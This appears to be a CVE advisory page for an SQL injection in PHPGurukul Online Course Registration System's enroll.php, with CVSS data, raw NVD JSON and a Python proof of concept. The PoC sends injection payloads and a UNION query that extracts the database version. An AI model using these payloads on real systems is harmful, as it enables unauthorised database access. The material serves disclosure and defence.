Security Vulnerability Report
中文
CVE-2026-0803 CVSS 6.3 MEDIUM

CVE-2026-0803

Published: 2026-01-09 16:16:08
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in PHPGurukul Online Course Registration System up to 3.1. This affects an unknown part of the file /enroll.php. The manipulation of the argument studentregno/Pincode/session/department/level/course/sem results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_course_registration_system:*:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Online Course Registration System <= 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-0803 SQL Injection PoC # Target: PHPGurukul Online Course Registration System # Vulnerable File: /enroll.php # Vulnerable Parameters: studentregno, Pincode, session, department, level, course, sem TARGET_URL = "http://target-site.com/enroll.php" def test_sql_injection(): """Test for SQL injection vulnerability in enroll.php""" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--", "admin'--", "' OR 1=1--" ] # Vulnerable parameters to test vulnerable_params = [ 'studentregno', 'Pincode', 'session', 'department', 'level', 'course', 'sem' ] print(f"[*] Testing SQL Injection on {TARGET_URL}") print(f"[*] Target: PHPGurukul Online Course Registration System") print(f"[*] CVE: CVE-2026-0803") for param in vulnerable_params: for payload in payloads: data = { 'studentregno': "test", 'Pincode': "1234", 'session': "2024", 'department': "CS", 'level': "1", 'course': "1", 'sem': "1" } data[param] = payload try: response = requests.post(TARGET_URL, data=data, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql syntax', 'mysql', 'warning', 'error', 'sqlite', 'postgresql']): print(f"[+] Potential SQL Injection found in parameter: {param}") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] Basic tests completed. Manual verification recommended.") return False def extract_data(): """Extract database information using UNION-based SQL injection""" # UNION-based injection to extract database version union_payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL--" data = { 'studentregno': union_payload, 'Pincode': "1234", 'session': "2024", 'department': "CS", 'level': "1", 'course': "1", 'sem': "1" } print("[*] Attempting to extract database version...") try: response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") return response.text except: return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-0803 SQL Injection PoC") print("=" * 60) test_sql_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0803", "sourceIdentifier": "[email protected]", "published": "2026-01-09T16:16:07.840", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in PHPGurukul Online Course Registration System up to 3.1. This affects an unknown part of the file /enroll.php. The manipulation of the argument studentregno/Pincode/session/department/level/course/sem results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used."}, {"lang": "es", "value": "Una vulnerabilidad fue encontrada en el Sistema de Registro de Cursos en Línea PHPGurukul hasta la versión 3.1. Esto afecta una parte desconocida del archivo /enroll.php. La manipulación del argumento studentregno/Pincode/sesión/department/level/course/sem resulta en inyección SQL. El ataque puede ser lanzado de forma remota. El exploit ha sido hecho público y podría ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_course_registration_system:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "F04EF455-CD58-45B8-A85D-B9A76A121924"}]}]}], "references": [{"url": "https://note-hxlab.wetolink.com/share/qX132pk8Wofk", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vuldb.com/?ctiid.340255", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.340255", "source": "[email protected]", "tags" ... (truncated)